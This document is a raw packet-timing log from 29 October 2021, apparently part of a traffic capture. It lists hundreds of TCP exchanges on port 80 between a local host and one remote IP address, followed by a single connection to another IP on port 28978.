Oct 29, 2021 20:30:36.760827065 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.785965919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.785993099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.786016941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.786037922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.786225080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.786288023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.793179035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793211937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793236971 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793256044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793344021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793350935 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.793370962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793392897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.793430090 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.793452024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793468952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.793531895 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.818936110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.818960905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.818983078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.818989038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.819051981 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.819139957 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.826472044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826503038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826519966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826531887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826584101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826592922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.826607943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826626062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826632023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.826638937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.826673031 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.826699018 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.891921043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892196894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892220020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892246962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892297029 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.892306089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892329931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892352104 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892373085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892394066 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892415047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892435074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892447948 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.892456055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892477036 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.892478943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892499924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892505884 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.892522097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892545938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.892556906 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.892595053 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.916771889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916801929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916820049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916836977 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916914940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916960955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.916975021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.917037964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.917093992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.917104006 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.947360992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.947385073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.947400093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.947422981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.947460890 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.947556973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.950983047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.951008081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.951024055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.951035976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.951071978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.951107025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.980779886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.980895996 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.980982065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.981004953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.981020927 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.981072903 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.983763933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.983789921 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.983802080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.983819962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.983963013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.984030962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.984131098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.984158993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.984175920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.984253883 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.013254881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.013279915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.013300896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.013322115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.013398886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.013453960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.016643047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016665936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016689062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016715050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016741037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016765118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016779900 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.016788960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.016844034 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.016870022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.071320057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071363926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071398973 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071424007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071577072 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.071657896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071681976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071702957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071718931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.071757078 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.071779966 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.105484009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105515957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105537891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105560064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105578899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105600119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105601072 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.105643034 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.105670929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105698109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105724096 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105741978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.105748892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105770111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105791092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105807066 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.105811119 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.105843067 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.152237892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152280092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152299881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152332067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152367115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152390003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152414083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152421951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.152430058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152456999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152482986 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152501106 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.152507067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152529955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152554989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152565002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.152579069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152597904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.152609110 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.152645111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.186274052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186300039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186312914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186327934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186424017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.186474085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.186739922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186762094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186815023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.186825037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186842918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186861038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186877966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.186908960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.187100887 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.218830109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218852997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218875885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218894005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218914032 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218931913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218930006 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.218947887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.218967915 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.218997002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.219476938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219492912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219510078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219525099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219543934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219544888 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.219563961 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219573975 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.219582081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219595909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.219600916 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.219621897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.251647949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.251687050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.251699924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.251717091 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.251720905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.251789093 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.251980066 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252003908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252027035 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.252032995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252039909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252098083 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.252199888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252234936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252258062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252280951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252280951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.252305031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252306938 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.252327919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252346039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.252347946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.252631903 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.284935951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.284962893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.284985065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285000086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285026073 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285053015 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285214901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285238028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285259008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285274982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285310030 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285346031 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285512924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285537004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285558939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285576105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285582066 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285593033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285614967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285639048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285654068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.285662889 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285686016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.285712004 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.316742897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316772938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316793919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316816092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316836119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316871881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316889048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.316896915 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.316967964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.317161083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317184925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317238092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317260981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317281008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317284107 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.317296028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317306995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.317307949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.317363024 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.317384958 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.352674007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352694988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352708101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352725029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352746010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352757931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352776051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352792978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352804899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352822065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352838039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352866888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352883101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352880955 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.352900982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352917910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352931023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.352992058 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.353076935 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.381875038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.381911039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.381937981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.381957054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.381977081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382004976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382013083 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.382033110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382060051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382060051 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.382122993 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.382162094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382191896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382217884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382244110 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.382246017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382301092 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.382316113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382338047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.382395029 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414036989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414061069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414076090 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414092064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414108992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414125919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414138079 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414161921 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414208889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414227962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414235115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414243937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414258003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414274931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414298058 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414314985 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414330959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414347887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414374113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414378881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414392948 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414418936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414494038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414510965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414524078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.414529085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.414720058 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.418838024 CEST	49818	28978	192.168.2.7	93.115.20.139
